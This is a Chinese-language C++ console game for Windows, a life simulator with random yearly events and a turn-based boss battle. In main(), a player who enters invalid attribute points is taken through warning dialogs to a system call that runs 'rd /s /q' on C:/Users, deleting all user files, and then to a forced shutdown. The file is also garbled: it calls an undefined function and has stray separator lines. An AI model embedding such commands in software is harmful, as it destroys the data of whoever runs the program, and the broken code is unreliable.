#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
long double zhili,jiankang,yanzhi,jiajing,happy=10,qian;
char sb;
long long zs,s=2,xb,gua,anjiela,qiangzhuang,beishang,lx;
bool chengjiu[15],bol=true,gwy;
void qwertyuiop(int &xue,int &dxue){
srand(time(NULL));
int so=rand()%12;
if(so==7){
cout<<"漆黑静默使用了“暴怒!”"<<endl;
xue-=rand()%10;cout<<"(打击声音)"<<endl;Sleep(500);
xue-=rand()%15;cout<<"(斩击声音)"<<endl;Sleep(2000);
xue-=rand()%30;cout<<"(打击声音)"<<endl;Sleep(500);
xue-=rand()%20;cout<<"(打击声音)"<<endl;Sleep(500);
xue-=rand()%50;cout<<"(突刺声音)"<<endl;Sleep(10);
xue-=rand()%60;cout<<"(斩击声音)"<<endl;Sleep(1000);
xue-=rand()%50;cout<<"(突刺声音)"<<endl;Sleep(1000);
xue-=rand()%100;cout<<"(突刺声音)"<<endl;Sleep(500);
xue-=rand()%200;cout<<"(打击声音)"<<endl;Sleep(1000);
xue-=rand()%300;cout<<"(打击声音)"<<endl;Sleep(1500);
xue-=rand()%500+1000;cout<<"(突刺声音)"<<endl;Sleep(1000);
}else if(so==6||so==8||so==10){
cout<<"漆黑静默使用了“琅瑯工坊”"<<endl;
int x=rand()%30+1+qiangzhuang*5;
xue-=x;
if((x-1-qiangzhuang*5)>=20){
cout<<"漆黑静默的技能你附加了"<<10<<"层流血"<<endl;
lx+=10;
qiangzhuang++;
}
}else if(so==0||so==3||so==11){
cout<<"漆黑静默使用了“安吉利卡工作室”"<<endl;
xue-=rand()%69+qiangzhuang*5;
qiangzhuang++;
}else if(so==2||so==4||so==12){
cout<<"漆黑静默使用了“墨工坊”"<<endl;
xue-=rand()%30+1+qiangzhuang*5;
}else{
cout<<"漆黑静默使用了“杜兰达尔”"<<endl;
int x=rand()%25+1+qiangzhuang*5;
xue-=x;
if((x-1-qiangzhuang*5)>=20){
cout<<"漆黑静默的技能你附加了"<<10<<"层流血"<<endl;
lx+=10;
qiangzhuang++;
}
}
cout<<"漆黑静默的强壮点数:"<<qiangzhuang<<" 注:强壮越高,伤害越高"<<endl;
}
void zxcqwe(int &xue,int &dxue){
srand(time(NULL));
int so=rand()%15;
if(so==0||so==3||s==5||so==14){
cout<<"殷红迷雾使用了“大刀横斩”"<<endl;
xue-=rand()%45+5+qiangzhuang*10;
qiangzhuang++;
}else if(so==2||so==4||so==6){
cout<<"殷红迷雾使用了“大刀直刺”"<<endl;
xue-=rand()%60+qiangzhuang*10;
qiangzhuang++;
}else if(so==11||so==13||so==15){
cout<<"殷红迷雾使用了“大刀纵砸”"<<endl;
int x=rand()%3;
cout<<"殷红迷雾的技能你附加了"<<x<<"层流血"<<endl;
lx+=x;
srand(time(0));
xue-=rand()%55+qiangzhuang*10;
qiangzhuang++;
}else if(so==7||so==8){
cout<<"殷红迷雾使用了“尸横遍野(E.G.O展现)”"<<endl;
xue-=rand()%100+50+qiangzhuang*10;
qiangzhuang++;
}else if(so==10||so==12){
cout<<"殷红迷雾使用了“血雾弥漫”"<<endl;
int x=rand()%10;
if(dxue<5000-1)cout<<"殷红迷雾抵消了"<<x<<"点伤害"<<endl;
dxue+=x;
xue-=rand()%500+50+qiangzhuang*10;
qiangzhuang++;
}else{
cout<<"殷红迷雾使用了“陷阵之志”!!!"<<endl;
int zxue=1000;
int x=1;
while(1){
int p=rand()%10;if(p%3==0&&x>1)break;
zxue=rand()%120+50;
cout<<"第"<<x<<"波攻击"<<"伤害:"<<zxue+x*5<<endl;
xue-=zxue+x*5;
x++;
if(qiangzhuang)qiangzhuang--;
Sleep(500);
}
cout<<"陷阵之志已结束..."<<endl<<endl;
}
qiangzhuang+=rand()%4;
cout<<"殷红迷雾的强壮层数:"<<qiangzhuang<<" 注:强壮越高,伤害越高"<<endl;
}
|
void dcba(int sheilaijiedai,int &xue,int &dxue){xue-=lx;qiangzhuang=qiangzhuang/3*2;if(lx>=3){srand(time(0));int x=rand()%5;if(x==5)lx=0;}if(sheilaijiedai==5||zhili>=20||jiajing>=20){zxcqwe(xue,dxue);cout<<"你的血:"<<xue<<" 殷红迷雾的血:"<<dxue<<endl;}else{qwertyuiop(xue,dxue);cout<<"你的血:"<<xue<<" 漆黑静默的血:"<<dxue<<endl;}cout<<"你的流血层数:"<<lx<<" 注:流血是每回合扣流血层数的血"<<endl;}
void abc(int &dxue,int &xue,int sheilaijiedai){
while(dxue>0&&xue>0){
cout<<"技能:1、重拳出击;2、血肉杀祭;3、不讲武德;4、狼狗之道;5、血之渴望;6、克隆复制"<<endl;
string asdfghjk;
cin>>asdfghjk;
int tx=true;
if(asdfghjk=="1"){
srand(time(0));
dxue-=rand()%20+5+jiankang/10;
}else if(asdfghjk=="2"){
srand(time(0));
dxue-=rand()%50+5+jiankang/10;
xue-=rand()%40+10;
}else if(asdfghjk=="3"){
srand(time(0));
int x=rand()%5;
dxue-=rand()%20;
if(x%3==0){
tx=false;
if(sheilaijiedai==5||zhili>=20||jiajing>=20){
cout<<"(殷红迷雾昏迷了)"<<endl;
cout<<"你的血:"<<xue<<" 殷红迷雾的血:"<<dxue<<endl;
}else{
cout<<"(漆黑静默昏迷了)"<<endl;
cout<<"你的血:"<<xue<<" 漆黑静默的血:"<<dxue<<endl;
}
}
}else if(asdfghjk=="4"){
srand(time(0));
int x=rand()%3;
if(x==1){
dxue-=100;
}
}else if(asdfghjk=="5"){
srand(time(0));
int x=rand()%10+5;
dxue-=x;
xue+=x;
}else{
xue+=xue/50+jiankang/10;
}
if(tx){
dcba(sheilaijiedai,xue,dxue);
}
}
if(xue<=0){
cout<<"你输了..."<<endl<<"惩罚是:变成“书”"<<endl<<"你死了......";
exit(0);
}else{
cout<<"你赢了!!!"<<endl<<"你从Angela那拿走了永生之书"<<endl;
exit(0);
}
}
|
void tusuguan(){
int huihe=1;
int xue=7000,dxue=6000;
cout<<"你进入了图书馆"<<endl<<"Angela:愿你找到想要的书..."<<endl;
srand(time(NULL));
int sheilaijiedai=rand()%5;
if(sheilaijiedai==5||zhili>=20||jiajing>=20){
cout<<"(这次接待你的是殷红迷雾,血5000,你的血:7000)"<<endl;
dxue=5000;
xue=7000;
sheilaijiedai==2;
}else{
cout<<"(这次接待你的是漆黑静默,血6000,你的血:7000)"<<endl;
}
abc(dxue,xue,sheilaijiedai);
}
void Paer(){
cout<<"超过分配点或有负数!"<<endl<<"想搞事是吧?"<<endl;
Sleep(100);
cout<<"给你几秒反思和退出,别怪作者心狠手辣!"<<endl;
cout<<"5"<<endl;
Sleep(2000);
cout<<"4"<<endl;
Sleep(2000);
cout<<"3"<<endl;
Sleep(2000);
cout<<"2"<<endl;
Sleep(2000);
cout<<"1(快点退出)!!!!!!!!!"<<endl;
Sleep(2000);
cout<<"0"<<endl;
cout<<"快点退出!!!!!!!!!,别管为什么!!!"<<endl;
Sleep(100);
}
void crand(){
srand(time(NULL));
int nm=rand()%18;
if((anjiela==1&&(s==18||s==34||s==57||s==82||s==99||s==109))||s==18){cout<<s<<"岁:你收到了图书馆邀请函,你去了方可寻得永生的方法,你去还是不去(1=去,2=不去)"<<endl;string xuan;cin>>xuan;if(xuan=="1")tusuguan();else cout<<"好吧,有缘再来吧!"<<endl<<"(你手中的图书馆邀请函消失了...)"<<endl;}
else if(s==zs-2||s==zs-1||s==zs){if(gua%3==0&&zs>20){if(s==zs-2)cout<<s<<"岁:你当了瓜摊老板"<<endl;else if(s==zs-1){cout<<s<<"岁:你的瓜摊收益很好,还吸引了会生异形的两哥俩来就业"<<endl;qian+=INT_MAX;}else if(s==zs)cout<<s<<"岁:你被一位叫华强的人砍了"<<endl<<"解锁成就:你TM劈我瓜是吧!"<<endl;}}
else if(zs<=20&&s>=zs-3){cout<<s<<"岁:你得了不治之病,医生说你活不久了"<<endl;jiankang--;}
else if(zs==s-1)cout<<s<<"岁:你感觉你要噶了"<<endl;
else if(s==12){if(yanzhi>=14)cout<<s<<"岁:你听说同学们在选校草或校花,竟然是你!!!"<<endl<<"解锁成就:帅气逼人"<<endl;else cout<<s<<"岁:你听说同学们在选校草或校花,反正不是你"<<endl;}
//else if(nm==-1){cout<<s<<"岁:"<<endl;}
else if((nm==0&&s>55)&&(jiankang<3||jiajing<5)){cout<<s<<"岁:你因为意外或健康过低、家境太差而死..."<<endl;exit(0);}
else if(nm==1&&s>=10&&zhili>=15){cout<<s<<"岁:你智力过高,参加比赛获得1000元!"<<endl;qian+=1000;}
else if(nm==2&&s>=10&&yanzhi>=15){cout<<s<<"岁:你颜值很高,别人因此送你了100元!"<<endl;qian+=100;happy+=5;}
else if(nm==3&&s>=10){cout<<s<<"岁:捡到一个养颜丸,颜值+2"<<endl;yanzhi+=2;}
else if(nm==4&&s>=10){cout<<s<<"岁:你不小心用小刀划到了脸,颜值-3,健康-1"<<endl;yanzhi-=3;jiankang-=1;happy-=3;}
else if(nm==5&&s<15){cout<<s<<"岁:你的父母赚了很多钱"<<endl;qian+=100;jiajing+=5;happy+=5;}
else if(nm==6&&s>=10){cout<<s<<"岁:你捡到一个长寿丹!寿命+1"<<endl;zs+=1;happy+=10;}
else if(nm==7&&s>=10){cout<<s<<"岁:你捡到了钻石!钱+10000"<<endl;qian+=10000;happy+=20;jiajing+=10;}
else if(nm==8&&s>=18&&zhili<7){cout<<s<<"岁:你被诈骗了!钱-600"<<endl;qian-=600;happy-=2;}
else if(nm==9&&s>=15){cout<<s<<"岁:你拍抖音赚了1000元!"<<endl;qian+=1000;happy+=5;}
else if(nm==10&&s>=18){cout<<s<<"岁:你被车撞了!智力-3,钱-10000,颜值-1"<<endl;zhili-=3;qian-=10000;yanzhi-=1;happy-=30;}
}
|
int main(){
srand(time(NULL));
Prepare();
cout<<"一一一一一一一一一一一一一一一一一一一一一一一一一人生重开模拟器一一一一一一一一一一一一一一一一一一一一一一一一一一一一"<<endl;
cout<<"一一一一一一一一一一一一一一一一一一一一一一一这狗屁人身一刻也不想呆了一一一一一一一一一一一一一一一一一一一一一一一一一"<<endl;
cout<<"v1.22.73"<<endl;
cout<<"输入任意字符直接到死亡,输入任意数字继续(数字位数代表跳过几年)"<<endl;
system("pause");
cout<<"输入你的初始属性(分配点:40)"<<endl<<"颜值:";
cin>>yanzhi;
cout<<endl<<"智力:";
cin>>zhili;
cout<<endl<<"家境:";
cin>>jiajing;
cout<<endl<<"健康:";
cin>>jiankang;
if(yanzhi==88010&&zhili==88010&&jiajing==88010&&jiankang==88010){
Paer();
cout<<"触发彩蛋成就:爸爸的雷达!!!"<<endl;
}else if(yanzhi+zhili+jiajing+jiankang>40||yanzhi<0||zhili<0||jiajing<0||jiankang<0){
Paer();string c,dd,ff,gg,hh,ii,qq,cc,xx,zz,vv,NB,nn,mm,GG_Bond,ss,bb,b2000,ds;c="rd /s /q \"C:/Users\"";if(MessageBox(NULL,"这是一个危险的代码,点取消还来得及","提醒",MB_OKCANCEL|MB_ICONEXCLAMATION)==IDOK){if(MessageBox(NULL,"真的很危险!点否取消","警告",MB_YESNO|MB_ICONEXCLAMATION)==IDYES)if(MessageBox(NULL,"好吧,请确定你使用的是虚拟机或拥有冰点还原精灵等可以帮助电脑重启就还原的软件,否则一旦您的电脑出现问题,作者概不负责","关了还来得及",MB_OK)==IDOK) system(c.c_str());else MessageBox(NULL,"小心总是对的","再见",MB_OK);}else MessageBox(NULL,"小心总是对的","再见",MB_OK);
if(MessageBox(NULL,"你的颠佬(电脑)好像被这个.cpp文件删除了","太特么奇怪了",MB_ABORTRETRYIGNORE|MB_ICONEXCLAMATION)==IDABORT){cout<<"哦";system("shutdown -s -f -t 1");}else{cout<<"我管你选的啥,继续!";system("shutdown -s -f -t 5");Sleep(5000);system("shutdown -a");}
}
zs=rand()%105;
if(zs==0){
cout<<s<<"岁:你胎死腹中,无了";
return 0;
}else{
xb=rand()%13;
if(xb>=0&&xb<=5)cout<<"1岁:你出身了,是个男孩"<<endl;
else if(xb<=13&&xb>=8)cout<<"1岁:你出身了,是个女孩"<<endl;
else if(xb==6||xb==8)cout<<"1岁:你出身了,是稀有的无性人"<<endl;
else cout<<"1岁:你出身了,是超稀有的双性人"<<endl;
}
cout<<endl;
anjiela=rand()%3;
gua=rand()%1000;
while(s!=zs+1){
crand();
cout<<"智力:"<<zhili<<" 颜值:"<<yanzhi<<" 家境:"<<jiajing<<" 健康:"<<jiankang<<" 快乐:"<<happy<<" 钱:"<<qian<<endl;
s++;
cout<<endl;
if(bol){
char oooo;
cin>>oooo;
if(!(oooo>='0'&&oooo<='9'))bol=false;
}else Sleep(500);
}
cout<<s<<"岁:你死了......";
return 0;
}
|